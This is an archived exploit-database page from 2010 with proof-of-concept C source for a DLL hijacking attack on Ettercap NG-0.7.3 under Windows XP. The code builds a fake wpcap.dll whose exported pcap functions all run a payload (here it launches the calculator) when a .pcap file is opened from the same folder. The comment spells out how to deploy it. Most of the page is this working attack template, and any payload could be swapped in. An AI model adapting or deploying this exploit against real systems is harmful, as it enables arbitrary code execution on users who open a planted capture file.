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Ettercap NG-0.7.3 DLL Hijacking Exploit (wpcap.dll)

Posted on 25 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Ettercap NG-0.7.3 DLL Hijacking Exploit (wpcap.dll)</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===================================================
Ettercap NG-0.7.3 DLL Hijacking Exploit (wpcap.dll)
===================================================

/*
Exploit Title:  Ettercap NG-0.7.3 DLL hijacking (wpcap.dll)
Date: 25/08/2010
Author: Teo Manojlovic
Tested on: Windows XP SP3
Vulnerable extensions: .pcap
Compile and rename to wpcap.dll, create a file in the same dir .pcap extension
and visit http://chaossecurity.wordpress.com/
*/

#include &lt;windows.h&gt;
#define DLLIMPORT __declspec (dllexport)


DLLIMPORT void pcap_findalldevs() { evil(); }
DLLIMPORT void pcap_close() { evil(); }
DLLIMPORT void pcap_compile() { evil(); }
DLLIMPORT void pcap_datalink() { evil(); }
DLLIMPORT void pcap_datalink_val_to_description() { evil(); }
DLLIMPORT void pcap_dump() { evil(); }
DLLIMPORT void pcap_dump_close() { evil(); }
DLLIMPORT void pcap_dump_open() { evil(); }
DLLIMPORT void pcap_file() { evil(); }
DLLIMPORT void pcap_freecode() { evil(); }
DLLIMPORT void pcap_geterr() { evil(); }
DLLIMPORT void pcap_getevent() { evil(); }
DLLIMPORT void pcap_lib_version() { evil(); }
DLLIMPORT void pcap_lookupdev() { evil(); }
DLLIMPORT void pcap_lookupnet() { evil(); }
DLLIMPORT void pcap_loop() { evil(); }
DLLIMPORT void pcap_open_live() { evil(); }
DLLIMPORT void pcap_open_offline() { evil(); }
DLLIMPORT void pcap_setfilter() { evil(); }
DLLIMPORT void pcap_snapshot() { evil(); }
DLLIMPORT void pcap_stats() { evil(); }
int evil()

{
  WinExec(&quot;calc&quot;, 0);
  exit(0);
  return 0;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-25]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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